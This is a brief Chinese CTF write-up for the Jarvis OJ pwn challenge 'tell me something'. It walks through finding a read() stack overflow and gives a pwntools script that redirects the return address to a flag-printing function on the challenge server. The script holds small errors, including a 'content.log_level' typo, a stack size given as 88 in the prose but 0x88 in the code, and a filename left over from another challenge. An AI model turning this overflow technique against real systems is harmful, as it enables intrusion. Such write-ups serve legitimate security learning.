tell me something wp

先检查一下防护机制,发现至开启了NX,堆栈不可执行


tell me something wp_第1张图片

简单执行一下,发现是让我们输入一串字符串,然后返回一句话


tell me something wp_第2张图片

用 ida 反汇编一下 发现和栈溢出有关 有个read函数


tell me something wp_第3张图片

查看里面的函数 ,可以看见 good game 函数里面的 flag.txt

goodgame函数是用来 将flag文本输出的

所以我们只要控制返回地址变为goodgame的地址就行了

栈空间的大小在主函数的汇编代码可以得到  为88

exp代码



#!usr\bin\env python

from pwn import *

debug = False

local = False

x86 = False

if debug:

content.log_level = 'debug'

else:

context.log_level = 'info'

if x86:

libc = ELF('/lib32/libc.so.6')

else:

libc = ELF('/lib/x86_64-Linux-gnu/libc.so.6')

if local:

sh = process('./guestbook.d3d5869bd6fb04dd35b29c67426c0f05')

else:

sh = remote('pwn.jarvisoj.com',9876)

offset = 0x88

target = 0x00400620

payload = 'a'*offset +p64(target)

sh.recvuntil(":")

sh.sendline(payload) 

sh.interactive()


你可能感兴趣的:(tell me something wp)